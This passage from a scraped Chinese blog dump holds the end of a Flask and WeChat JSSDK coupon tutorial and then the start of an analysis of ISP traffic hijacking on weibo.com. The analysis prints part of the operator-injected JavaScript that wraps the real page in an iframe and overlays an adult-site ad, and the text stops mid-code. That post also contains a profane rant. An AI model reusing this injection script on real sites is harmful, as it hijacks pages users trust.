\u5224\u65ad\u662f\u5426\u8fbe\u5230\u4e86\u8fc7\u671f\u65f6\u95f4\uff0c\u539f\u672c\u8fc7\u671f\u65f6\u95f4\u4e3a7200\u79d2\uff0c\u6211\u5199\u4e866000\uff0c\u63d0\u524d\u4e00\u70b9\u91cd\u65b0\u83b7\u53d6\r\n token_string = requests.get(url=wx_access_token_url, timeout=15).content.decode('utf8')\r\n signa_expire_time = str(int(time.time() + 6000))\r\n with open(access_token_file, 'wb') as f:\r\n f.write(str.encode(token_string + '|' + signa_expire_time))\r\n f.flush()\r\n f.close()\r\n else: # \u6ca1\u6709\u7f13\u5b58\u6587\u4ef6\u7684\u65f6\u5019\u5c31\u53bb\u5fae\u4fe1\u670d\u52a1\u5668\u83b7\u53d6\r\n token_string = requests.get(url=wx_access_token_url, timeout=15).content.decode('utf8')\r\n signa_expire_time = str(int(time.time() + 6000))\r\n with open(access_token_file, 'wb') as f:\r\n f.write(str.encode(token_string + '|' + signa_expire_time))\r\n f.flush()\r\n f.close()\r\n return json.loads(token_string)\r\n except Exception as e:\r\n return jsonify({\"code\": -1, \"msg\": str(e)}) # jsonify \u65b9\u6cd5\u53ef\u4ee5\u76f4\u63a5\u8f6c\u6362\u6210json\u5f88\u65b9\u4fbf\uff0c\u4e5f\u53ef\u4ee5\u7528json\u5e93\u8fdb\u884c\u8f6c\u6362\uff0c\u5e38\u7528\u7684\u6709json.loads(str)\u548cjson.dump(json)\u65b9\u6cd5</pre>\r\n\u7b2c\u4e8c\u4e2a\u5355\u72ec\u65b9\u6cd5\u662f\u83b7\u53d6ticket\uff0c\u8bf7\u6c42\u7684\u65b9\u5f0f\u4e00\u6837\uff0c\u552f\u72ec\u53c2\u6570\u503c\u4e0d\u4e00\u6837\r\n<pre class=\"brush:py;\">def get_ticket(access_token, ticket_type):\r\n if ticket_type == 'wx_card':\r\n ticket_file = sys.path[0] + '/jsapi_signa_ticket.json'\r\n else: # jsapi\r\n ticket_file = sys.path[0] + '/jsapi_ticket.json'\r\n wx_ticket_url = \"https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=%s&type=%s\" % (access_token, ticket_type)\r\n try:\r\n if os.path.exists(ticket_file):\r\n ticket = open(ticket_file).readline()\r\n\r\n ticket_string = ticket.split('|')[0]\r\n last_time = int(ticket.split('|')[1])\r\n current_time = int(time.time())\r\n\r\n if current_time > last_time:\r\n ticket_string = requests.get(url=wx_ticket_url, timeout=15).content.decode('utf8')\r\n signa_expire_time = str(int(time.time() + 6000))\r\n with open(ticket_file, 'wb') as f:\r\n f.write(str.encode(ticket_string + '|' + signa_expire_time))\r\n f.flush()\r\n f.close()\r\n else:\r\n ticket_string = requests.get(url=wx_ticket_url, timeout=15).content.decode('utf8')\r\n signa_expire_time = str(int(time.time() + 6000))\r\n with open(ticket_file, 'wb') as f:\r\n f.write(str.encode(ticket_string + '|' + signa_expire_time))\r\n f.flush()\r\n f.close()\r\n return json.loads(ticket_string)\r\n except Exception as e:\r\n return jsonify({\"code\": -1, \"msg\": str(e)})</pre>\r\n\u8fd9\u4e24\u4e2a\u65b9\u6cd5\u83b7\u53d6\u56de\u6765\u7684\u6570\u636e\u90fd\u9700\u8981\u8fdb\u884c\u7f13\u5b58\u3002\r\n<p>\r\n\t\u524d\u7aef\u9875\u9762\u5728\u52a0\u8f7d\u7684\u65f6\u5019\u9700\u8981\u521d\u59cb\u5316\u5fae\u4fe1\u5206\u4eab\u548c\u5361\u5238\u7684\u76f8\u5173\u7b7e\u540d\u53c2\u6570\u7b49\uff0c\u6240\u4ee5\u9700\u8981\u628a\u524d\u9762\u751f\u6210\u7684\u7b7e\u540d\u6570\u636e\u4f20\u8fc7\u53bb\uff0c\u901a\u8fc7render\u5c31\u53ef\u4ee5\u8f7b\u677e\u4f20\u5230\u524d\u7aef\uff0crender\u8fd9\u4e2a\u4e1c\u897f\u4e0d\u8981\u89c9\u5f97\u6709\u591a\u795e\u79d8\uff0c\u641e\u8fc7nodejs\u548cthinkphp\u7684\u4f30\u8ba1\u4e5f\u90fd\u89c1\u8fc7\uff0c\u5982\u4e0b\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:py;\">return render_template(\"index.html\", status=page_status, jssdk=jssdk_data, cardId=card_id, cardExt=card_data)</pre>\r\n\u524d\u7aef\u62ff\u6570\u636e\u4e5f\u662f\u975e\u5e38\u7b80\u5355\uff0c\u5982\u4e0b\r\n<pre class=\"brush:py;\"><div class=\"mainBody\">\r\n {% if status == '1' %}\r\n <div class=\"page_index\"></div>\r\n <div class=\"page_info\">\r\n <div class=\"formbox\">\r\n <div><img src=\"/static/img/text-index.png\"></div>\r\n <div><img src=\"/static/img/input-name.png\"><input type=\"text\" v-model=\"username\" maxlength=\"30\"></div>\r\n <div><img src=\"/static/img/input-carnum.png\"><input type=\"text\" v-model=\"carnumber\" maxlength=\"8\"></div>\r\n <div><img src=\"/static/img/input-carmod.png\"><input type=\"text\" v-model=\"carmodal\" maxlength=\"30\"></div>\r\n <div><img src=\"/static/img/input-phone.png\"><input type=\"tel\" v-model=\"userphone\" maxlength=\"11\"></div>\r\n <a href=\"javascript:;\" @click=\"postData\"><img src=\"/static/img/button-save.png\"></a>\r\n </div>\r\n </div>\r\n {% elif status == '2' %}\r\n <div class=\"page_finish\"><img src=\"/static/img/page4.png\"></div>\r\n {% endif %}</pre>\r\nJInja2\u4f7f\u7528\u4e86{%\u00a0 %}\u8bc6\u522b\u903b\u8f91\u5224\u65ad\u7b49\uff0c\u770b\u8d77\u6765\u662f\u4e0d\u662f\u5f88\u50cfjsp\u6216\u8005thinkphp\uff1f\u5176\u5b9e\u5199\u8d77\u6765\u90fd\u5dee\u4e0d\u591a\uff0c\u76f4\u63a5\u8f93\u51fa\u6570\u636e\u5982\u4e0b\r\n<pre class=\"brush:py;\">wx.config({\r\n debug: false,\r\n appId: '[[ jssdk.appId ]]',\r\n timestamp: '[[ jssdk.timestamp ]]',\r\n nonceStr: '[[ jssdk.nonceStr ]]',\r\n signature: '[[ jssdk.signature ]]',\r\n jsApiList: ['onMenuShareTimeline','onMenuShareAppMessage','addCard']\r\n });\r\n\r\n wx.ready(function () {\r\n wxSetShare();\r\n });\r\n\r\n function wxSetShare(){\r\n //\u670b\u53cb\u5708\u5206\u4eab\r\n wx.onMenuShareTimeline({\r\n title: wx_shareTitle,\r\n link: wx_shareurl,\r\n imgUrl: wx_imgUrl,\r\n success: function () {},\r\n cancel: function () {console.log('share cancel')}\r\n });\r\n //\u53d1\u9001\u7ed9\u670b\u53cb\r\n wx.onMenuShareAppMessage({\r\n title: wx_shareTitle,\r\n desc: wx_shareContent,\r\n link: wx_shareurl,\r\n imgUrl: wx_imgUrl,\r\n type: 'link',\r\n dataUrl: '',\r\n success: function () {},\r\n cancel: function () {console.log('share cancel')}\r\n });\r\n }\r\n\r\n var cardExtString = '{\"timestamp\":\"[[ cardExt.timestamp ]]\",\"nonce_str\":\"[[ cardExt.nonce_str ]]\",\"signature\":\"[[ cardExt.signature ]]\"}';\r\n\r\n function addCoupon() {\r\n wx.addCard({\r\n cardList: [{\r\n cardId: '[[ cardId ]]',\r\n cardExt: cardExtString\r\n }],\r\n success: function (res) {\r\n axios.post('/addCard').then(function (response) {\r\n if(response.data.code === 0){\r\n window.location.reload(true)\r\n }else{\r\n weui.alert(response.data.msg);\r\n }\r\n }).catch(function (error) {\r\n weui.alert(error);\r\n });\r\n }\r\n });\r\n }</pre>\r\n\u5728[[\u00a0 ]]\u91cc\u9762\u76f4\u63a5\u5c31\u8f93\u51fa\u4e86\u6570\u636e\uff0c\u8fd9\u91cc\u6709\u4e2a\u5927\u5751\uff0c\u770b\u4e0b\u9762\u8fd9\u6bb5\u4ee3\u7801\r\n<pre class=\"brush:py;\">var cardExtString = '{\"timestamp\":\"[[ cardExt.timestamp ]]\",\"nonce_str\":\"[[ cardExt.nonce_str ]]\",\"signature\":\"[[ cardExt.signature ]]\"}';\r\n\r\n function addCoupon() {\r\n wx.addCard({\r\n cardList: [{\r\n cardId: '[[ cardId ]]',\r\n cardExt: cardExtString\r\n }],\r\n success: function (res) {\r\n axios.post('/addCard').then(function (response) {\r\n if(response.data.code === 0){\r\n window.location.reload(true)\r\n }else{\r\n weui.alert(response.data.msg);\r\n }\r\n }).catch(function (error) {\r\n weui.alert(error);\r\n });\r\n }\r\n });\r\n }</pre>\r\n\u91cc\u9762\u6709\u4e2a\r\n<pre class=\"brush:py;\">cardExt: cardExtString</pre>\r\n\u5fae\u4fe1\u5b98\u65b9\u7684\u5199\u6cd5\u662f\r\n<pre class=\"brush:py;\">wx.addCard({\r\n\tcardList: [{\r\n\t cardId: '[[ cardId ]]',\r\n\t cardExt: {\r\n\t\ttimestamp:\"\u00d7\u00d7\u00d7\u00d7\u00d7\",\r\n\t\tnonce_str:\"\u00d7\u00d7\u00d7\u00d7\u00d7\",\r\n\t\tsignature:\"\u00d7\u00d7\u00d7\u00d7\u00d7\"\r\n\t\t}\r\n\t }],\r\n\tsuccess: function (res) {\r\n\t axios.post('/addCard').then(function (response) {\r\n\t\tif(response.data.code === 0){\r\n\t\t window.location.reload(true)\r\n\t\t}else{\r\n\t\t weui.alert(response.data.msg);\r\n\t\t}\r\n\t }).catch(function (error) {\r\n\t\tweui.alert(error);\r\n\t });\r\n\t}\r\n});</pre>\r\n\u5982\u679c\u66ff\u6362\u6389Jinja2\u7684\u8bc6\u522b\u7b26\u5e94\u8be5\u5c31\u662f\r\n<pre class=\"brush:py;\">wx.addCard({\r\n\tcardList: [{\r\n\t cardId: '[[ cardId ]]',\r\n\t cardExt: {\r\n\t\ttimestamp:\"[[ cardExt.timestamp ]]\",\r\n\t\tnonce_str:\"[[ cardExt.nonce_str ]]\",\r\n\t\tsignature:\"[[ cardExt.signature ]]\"\r\n\t\t}\r\n\t }],\r\n\tsuccess: function (res) {\r\n\t axios.post('/addCard').then(function (response) {\r\n\t\tif(response.data.code === 0){\r\n\t\t window.location.reload(true)\r\n\t\t}else{\r\n\t\t weui.alert(response.data.msg);\r\n\t\t}\r\n\t }).catch(function (error) {\r\n\t\tweui.alert(error);\r\n\t });\r\n\t}\r\n});</pre>\r\n\u5728\u81ea\u5df1\u5b89\u5353\u624b\u673a\u4e0a\u6d4b\u8bd5\u901a\u8fc7\uff0c\u53d1\u7ed9\u5ba2\u6237\uff0c\u5ba2\u6237\u4e00\u76f4\u8bf4\u4ed6\u7684\u624b\u673a\u4e0d\u884c\uff0c\u63d0\u793a\u7b7e\u540d\u9519\u8bef\uff0c\u6211\u5c31\u90c1\u95f7\u4e86\uff0c\u6211\u8fd9\u91cc\u6d4b\u8bd5\u5f88\u591a\u904d\u90fd\u53ef\u4ee5\u554a\uff0c\u8981\u6c42\u5ba2\u6237\u53d1\u622a\u56fe\uff0c\u622a\u56fe\u53d1\u6765\u770b\u770b\u786e\u5b9e\u7b7e\u540d\u9519\u8bef\uff0c\u795e\u5947\u4e86\u3002\u4ed4\u7ec6\u4e00\u770b\uff0c\u5ba2\u6237\u7528\u7684\u662fIPhone\uff0c\u96be\u9053\u662f\u5b89\u5353\u53ef\u4ee5ios\u4e0d\u884c\uff0c\u7ecf\u8fc7\u957f\u8fbe4\u4e2a\u5c0f\u65f6\u7684\u4e0d\u65ad\u5c1d\u8bd5\uff0c\u7ec8\u4e8e\u7ed9\u89e3\u51b3\u95ee\u9898\u4e86\uff0c\u5f00\u542f\u5fae\u4fe1jssdk\u7684\u8c03\u8bd5\u6a21\u5f0f\u540e\u5728\u5b89\u5353\u548cios\u4e0a\u90fd\u4f1a\u5f39\u7a97\u63d0\u793a\u666e\u901ajssdk\u7684\u7b7e\u540d\u6b63\u786e\uff0c\u5b89\u5353\u4e0a\u9762\u9886\u53d6\u4f18\u60e0\u5238\u6210\u529f\u540e\u4f1a\u663e\u793a\u4f18\u60e0\u5238\u76f8\u5173\u4fe1\u606f\uff0c\u4ed4\u7ec6\u4e00\u770b\u53d1\u73b0\u53cc\u5f15\u53f7\u88ab\u8f6c\u4e49\u5404\u79cd\u659c\u6760\uff0c\u4f46\u662f\u662f\u6210\u529f\u7684\uff0c\u7136\u800ciphone\u4e0d\u884c\uff0c\u6b64\u65f6\u6211\u624d\u60f3\u8d77\u8fd9\u4e2a\u5751\u6211\u4e4b\u524d\u5c31\u9047\u5230\u8fc7\uff0c\u56e0\u4e3aios\u89e3\u6790json\u7684\u65f6\u5019\u8ba4\u4e3a{}\u91cc\u9762\u7684\u662f\u4e00\u4e2ajson\u5bf9\u8c61\uff0c\u4f1a\u628a\u4e00\u4e9b\u5b57\u7b26\u8f6c\u4e49\uff0c\u5bfc\u81f4\u7b7e\u540d\u5b57\u7b26\u4e32\u4e0d\u4e00\u81f4\uff0c\u6240\u4ee5\u7b7e\u540d\u9519\u8bef\uff0c\u800c\u5b89\u5353\u5219\u8ba4\u4e3a{}\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u6b63\u5e38\u7684\u5904\u7406\uff0c\u5c31\u4e0d\u4f1a\u62a5\u9519\u3002\r\n<p>\r\n\t\u4e8e\u662f\u5c31\u6709\u4e86\u4e0a\u9762\u90a3\u4e2a\r\n</p>\r\n<pre class=\"brush:py;\">var cardExtString = '{\"timestamp\":\"[[ cardExt.timestamp ]]\",\"nonce_str\":\"[[ cardExt.nonce_str ]]\",\"signature\":\"[[ cardExt.signature ]]\"}';</pre>\r\n\u76f4\u63a5\u5b9a\u4e49\u6210\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u8fd9\u6837\u5b89\u5353\u548cios\u8bc6\u522b\u5c31\u4f1a\u4e00\u81f4\u7684\u8ba4\u4e3a\u8fd9\u4e2a\u53d8\u91cf\u4e3a\u5b57\u7b26\u4e32\u7c7b\u578b\uff0c\u4e0d\u4f1a\u505a\u7279\u6b8a\u5904\u7406\uff0c\u81f3\u6b64BUG\u89e3\u51b3\u3002\r\n<p>\r\n\t\u8fd9\u91cc\u987a\u4fbf\u8bf4\u4e0baxios\uff0c\u4f7f\u7528\u65b9\u6cd5\u5982\u4e0b\u4ee3\u7801\r\n</p>\r\n<pre class=\"brush:py;\">axios.post('/addCard').then(function (response) {\r\n if(response.data.code === 0){\r\n window.location.reload(true)\r\n }else{\r\n weui.alert(response.data.msg);\r\n }\r\n }).catch(function (error) {\r\n weui.alert(error);\r\n });</pre>\r\n\u7b80\u5355\u6613\u7528\uff0c\u901a\u4fd7\u6613\u61c2\u3002\r\n<h2>\r\n\t\u90e8\u7f72\r\n</h2>\r\n<p>\r\n\t\u9879\u76ee\u4e0a\u7ebf\u90e8\u7f72\u5230\u963f\u91cc\u4e91\u4e0a\uff0c\u4f7f\u7528\u7684\u662f\u7cfb\u7edf\u662fCentOS 7\uff0cPython3 +\u00a0virtualenv + supervisor + \u00a0gunicorn + nginx \u5177\u4f53\u90e8\u7f72\u65b9\u6cd5\u6211\u4e4b\u524d\u4e5f\u4e13\u95e8\u5199\u6587\u7ae0\u8bb2\u8fc7\uff0c\u5173\u4e8e\u90e8\u7f72\u8fd9\u5757\u5982\u679c\u6709\u540c\u5b66\u4e0d\u61c2\u6216\u8005\u4e0d\u6e05\u695a\u90e8\u7f72\u65b9\u6cd5\u7684\u8bdd\u53ef\u4ee5\u90ae\u7bb1\u8054\u7cfb\u6211\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u9047\u5230\u95ee\u9898\u591a\u8c37\u6b4c\uff0c\u7ecf\u9a8c\u771f\u7684\u5f88\u91cd\u8981\u554a\uff01\uff01\uff01\r\n</p>\r\n<p>\r\n\t\u5173\u4e8e\u9879\u76ee\u4ee3\u7801\u6216\u8005\u5bf9\u5fae\u4fe1\u76f8\u5173\u529f\u80fd\u5f00\u53d1\u7684\u95ee\u9898\uff0c\u53ef\u4ee5\u53d1\u5230\u6211\u90ae\u7bb1\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23465 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4e00\u4e2a\u7535\u4fe1\u52ab\u6301\u6848\u4f8b\u7684\u7b80\u8981\u5206\u6790"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-12-13, 12:23 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u653b\u51fb\u6d4b\u8bd5", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u6bcf\u5230\u5e74\u5e95\uff0c\u7f51\u7edc\u52ab\u6301\u5c31\u8981\u6765\u4e00\u6ce2\uff0c\u4e0d\u7ba1\u662f\u8fd0\u8425\u5546\u8fd8\u662f\u9ed1\u4ea7\u5e1d\u90fd\u4e0d\u653e\u8fc7\u8fd9\u4e00\u5e74\u4e00\u5ea6\u7684\u9ec4\u91d1\u65f6\u6bb5\uff0c\u53ef\u4ee5\u8bf4\u662f\u5e74\u5e74\u6709\u4eca\u65e5\u5c81\u5c81\u6709\u4eca\u671d\uff0c\u4eca\u5929\u5df2\u7ecf\u662f12\u6708\uff0c\u8ddd\u79bb\u8fc7\u5e74\u5df2\u7ecf\u4e0d\u4e45\u4e86\uff0c\u5404\u79cd\u8fd0\u8425\u5546\u5185\u9b3c\u548c\u9ed1\u4ea7\u5e1d\u4eec\u663e\u7136\u5df2\u7ecf\u8822\u8822\u6b32\u52a8\uff0c\u6211\u4e4b\u524d\u5199\u8fc7\u5173\u4e8e\u8fd0\u8425\u5546\u6d41\u91cf\u52ab\u6301\u7684\u5229\u76ca\u94fe\u5173\u7cfb\uff0c\u800c\u6bcf\u5230\u5e74\u5e95\uff0c\u53c8\u662f\u5927\u5bb6\u94b1\u5305\u6ee1\u6ee1\u5f00\u5f00\u5fc3\u5fc3\u8fc7\u5e74\u7684\u5927\u597d\u65f6\u673a\uff0c\u82b1\u94b1\u5a31\u4e50\u6f47\u6d12\u4e5f\u662f\u60c5\u7406\u4e4b\u4e2d\uff0c\u8fd0\u8425\u5546\u91cc\u9762\u7684\u4e00\u4e9b\u5185\u9b3c\u81ea\u7136\u4e0d\u80fd\u653e\u8fc7\u8fd9\u4e2a\u673a\u4f1a\uff0c\u4e8e\u662f\u968f\u5904\u53ef\u89c1\u7684\u6d41\u91cf\u52ab\u6301\uff0c\u94fa\u5929\u76d6\u5730\u7684\u88ad\u6765\u3002\r\n</p>\r\n\u5982\u679c\u6211\u8bb0\u5f97\u6ca1\u9519\uff0c\u53bb\u5e74\u5e74\u5e95\u79fb\u52a8\u7684\u6d41\u91cf\u52ab\u6301\u6700\u4e3a\u7316\u72c2\uff0c\u5148\u4e0d\u8bf4\u5bbd\u5e26\u4e0a\u7684\u52ab\u6301\uff0c\u5404\u79cd\u8df3\u8f6c\u4e5f\u5c31\u7b97\u4e86\uff0c\u5c31\u8fde\u624b\u673a\u4e0a\u76844G\u90fd\u7279\u4e48\u7684\u662f\u4e00\u5927\u5806\u5f39\u7a97\u5e7f\u544a\uff0c\u6211\u8279NMB\u7684\u6d41\u91cf\u52ab\u6301\uff0c\u4f60\u7279\u4e48\u5c31\u90a3\u4e48\u7f3a\u94b1\uff1f4G\u4f60\u7279\u4e48\u4e5f\u5f39\uff1f\u4f60\u7279\u4e48\u5929\u5929\u5f39\u4e2aJB\u593a\u5b9d\uff0c\u593a\u4e2aJB\u7684\u5b9d\uff0cCNM\u7684\u593a\u5b9d\uff0c\u5f39\u4e86\u593a\u5b9d\u5f39\u68cb\u724c\uff0c\u5b9e\u5728\u4e0d\u884c\u7ed9\u4f60\u8df3\u8f6c\u4e2a\u9ec4\u7ad9\uff0c\u518d\u6765\u4e2a\u4ec0\u4e48\u8461\u4eac\u8d4c\u573a\uff0c\u6211\u8d4cNMB\u554a\uff0c\u522b\u7279\u4e48\u4ee5\u4e3a\u6211\u4e0d\u77e5\u9053\u662f\u4f60\u4eec\u81ea\u5df1\u4eba\u5e72\u7684\uff0c\u5c31\u90a3\u70b9JB\u7834\u7ad9\u70b9\uff0c\u4e00\u773c\u5c31\u770b\u51fa\u6765\u5176\u4e2d\u7684\u5229\u76ca\u94fe\uff0c\u8fd8\u906e\u906e\u63a9\u63a9\u8df3\u6765\u8df3\u53bb\u6362IP\u641e\u4ec0\u4e48CDN\u3002\r\n<p>\r\n\t\u597d\u4e86\uff0c\u4e0d\u5410\u69fd\u79fb\u52a8\u4e86\uff0c\u53cd\u6b63\u5410\u69fd\u4e86\u4e5f\u6ca1\u7528\uff0c\u6bcf\u5e74\u5e74\u5e95\u90fd\u8981\u6765\u4e00\u6ce2\u7684\uff0c\u4eca\u5929\u6765\u8bf4\u8bf4\u7535\u4fe1\u7684\u52ab\u6301\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5199\u8fc7\u7535\u4fe1\u8df3\u8f6c\u60c5\u8272APP\u7684\u6848\u4f8b\uff0c\u8fd9\u6b21\u5199\u4e00\u5199\u5f39\u7a97\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u662f\u8fd9\u6837\u7684\uff0c\u535a\u4e3b\u5df2\u7ecf\u5f88\u4e45\u6ca1\u6709\u4e0a\u5fae\u535a\u4e86\uff0c\u5927\u6982\u6709\u4e2a\u4e24\u4e09\u5e74\u4e86\u5427\uff0c\u4eca\u5929\u60f3\u767b\u5f55\u4e0b\u5fae\u535a\uff0c\u5c31\u6253\u5f00\u6d4f\u89c8\u5668\u8f93\u5165\u4e86weibo.com\uff0c\u7a0d\u7b49\u4e00\u4f1a\u5c31\u6253\u5f00\u4e86\uff0c\u4f46\u662f\u4f3c\u4e4e\u6709\u70b9\u4e0d\u5bf9</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=619\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201712/8f0ad61461ffe92a16b2a6544e736516.png\" alt=\"2017-12-12 23-07-44\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 716.9 KB - \u5c3a\u5bf8: 1280 x 999 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"703\"></a></div>\u6bd4\u5982\u56fe\u7247\u4e0a\u53f3\u4e0b\u89d2\u7684\u90a3\u4e2a\u5f39\u7a97\uff0c\u600e\u4e48\u770b\u600e\u4e48\u7578\u5f62\uff0c\u8fd9\u56fe\u505a\u7684\u4e5f\u592a\u8349\u7387\u4e86\u5427\uff0c\u6709\u70b9\u4e13\u4e1a\u6c34\u5e73\u597d\u5417\uff1f\u800c\u4e14\uff0c\u8fd9\u4e00\u770b\u5c31\u662f\u9ec4\u8272\u7f51\u7ad9\u7684\u5e7f\u544a\u554a\uff0c\u4eba\u5bb6\u5fae\u535a\u4e5f\u4e0d\u4f1a\u653e\u8fd9\u79cd\u5e7f\u544a\u5bf9\u4e0d\u5bf9\uff0c\u597d\u6b79\u4f60\u4e5f\u8df3\u4e00\u4e2a\u6709\u70b9\u5173\u8054\u7684\u5e7f\u544a\u554a\u5582\uff0c\u592a\u4e0d\u4e13\u4e1a\u4e86\u3002\r\n\r\n<p>\r\n\t\u89c2\u5bdf\u6d4f\u89c8\u5668\u5730\u5740\u680f\uff0cweibo.com\u662f\u5e94\u8be5\u6709https\u8bc1\u4e66\u7684\uff0c\u4f46\u662f\u8fd9\u91cc\u660e\u663e\u6ca1\u6709\u5e26\u4e0ahttps\uff0c\u6ca1\u6709\u8fdb\u884c\u5f3a\u5236https\uff0c\u6240\u4ee5\u8ba9\u8fd0\u8425\u5546\u6709\u673a\u53ef\u4e58\uff01\r\n</p>\r\n<p>\r\n\t\u987a\u624bF12\u770b\u4e0b\u9875\u9762\u7684\u7ed3\u6784\uff0c\u5982\u56fe\u6240\u793a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=620\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201712/9b0b6664abe66a716c3e3ec76e6ecc85.png\" alt=\"2017-12-12 23-11-49\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 207.33 KB - \u5c3a\u5bf8: 1280 x 999 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"703\"></a></div>\u56fe\u4e2d\u663e\u793a\u771f\u6b63\u7684\u5fae\u535a\u9875\u9762\u88ab\u5d4c\u5165\u5230\u4e86\u4e00\u4e2aiframe\u91cc\u9762\uff0c\u5f39\u7a97\u5e7f\u544a\u4e5f\u88ab\u5d4c\u5165\u5230\u4e00\u4e2aiframe\u91cc\u9762<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=621\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201712/cb4cd518c42caf2e858868828cb31162.png\" alt=\"2017-12-12 23-55-23\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 144.2 KB - \u5c3a\u5bf8: 865 x 535 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"865\" height=\"535\"></a></div>\u8fd9\u6837\u770b\u6765\u5176\u5b9e\u6574\u4e2a\u9875\u9762\u5c31\u662f\u8fd0\u8425\u5546\u8fd4\u56de\u7684\uff0c\u8fd9\u79cd\u94fe\u8def\u52ab\u6301\u4e00\u822c\u6765\u8bf4\u53ea\u80fd\u7531\u7535\u4fe1\u8fd0\u8425\u5546\u7684\u8bbe\u5907\u81ea\u52a8\u5316\u5b8c\u6210\uff0cso\uff1f\uff1f\uff1f\r\n\r\n<p>\r\n\t\u4e0b\u9762\u6765\u770b\u4e0b\u8fd9\u4e2a\u865a\u5047\u9875\u9762\u7684\u4e00\u4e9b\u4ee3\u7801\uff0c\u5148\u770bjs\u90e8\u5206\uff0c\u8fd9\u4e2a\u6bb5js\u4ee3\u7801\u662f\u7531\u8fd0\u8425\u5546\u7684\u670d\u52a1\u5668\u81ea\u52a8\u751f\u6210\uff0c\u7528\u4e8e\u63a7\u5236\u5e7f\u544a\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:js;\">var m = \"http://weibo.com/\";\r\nvar a = \"http://m.vivi997.com/qiyi/\";\r\nvar w = window;\r\nvar n = navigator;\r\nvar d = document;\r\n\r\nfunction ad() {\r\n\tvar md, adh, adw;\r\n\tvar ua = n.userAgent.toLowerCase();\r\n\tvar isipad = ua.match(/ipad/i) == \"ipad\";\r\n\tvar isiphone = ua.match(/iphone os/i) == \"iphone os\";\r\n\tvar ismidp = ua.match(/midp/i) == \"midp\";\r\n\tvar isuc7 = ua.match(/rv:1.2.3.4/i) == \"rv:1.2.3.4\";\r\n\tvar isuc = ua.match(/ucweb/i) == \"ucweb\";\r\n\tvar isandroid = ua.match(/android/i) == \"android\";\r\n\tvar isce = ua.match(/windows ce/i) == \"windows ce\";\r\n\tvar iswm = ua.match(/windows\\s*mobile/i) == \"windows mobile\";\r\n\tif (isandroid || isiphone || isipad || iswm) {\r\n\t\tvar meta = d.createElement(\"meta\");\r\n\t\tmeta.name = \"viewport\";\r\n\t\tmeta.content = \"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0,user-scalable=no\";\r\n\t\td.getElementsByTagName(\"head\")[0].appendChild(meta);\r\n\t\tmd = d.body.clientWidth;\r\n\t\tadh = Math.ceil(md / 320 * 60);\r\n\t\tadw = \"100%\"\r\n\t} else {\r\n\t\tadh = \"250\";\r\n\t\tadw = \"300\"\r\n\t}\r\n\tvar div0 = d.createElement(\"div\");\r\n\tdiv0.id = \"i\";\r\n\td.getElementsByTagName(\"body\")[0].appendChild(div0);\r\n\tvar ifr0 = d.createElement(\"iframe\");\r\n\tifr0.id = \"m\";\r\n\tifr0.width = \"100%\";\r\n\tifr0.height = \"100%\";\r\n\tifr0.setAttribute(\"frameborder\", \"0\");\r\n\tifr0.src = m + (m.indexOf(\"?\") < 0 ? '?' : '&') + \"_ad\" + Math.random();\r\n\td.getElementById(\"i\").appendChild(ifr0);\r\n\tvar div1 = d.createElement(\"div\");\r\n\tdiv1.id = \"x\";\r\n\tdiv1.style.width = adw;\r\n\tdiv1.style.height = adh + \"px\";\r\n\tdiv1.style.display = \"none\";\r\n\td.getElementsByTagName(\"body\")[0].appendChild(div1);\r\n\tvar a0 = d.createElement(\"a\");\r\n\ta0.setAttribute(\"onClick\", 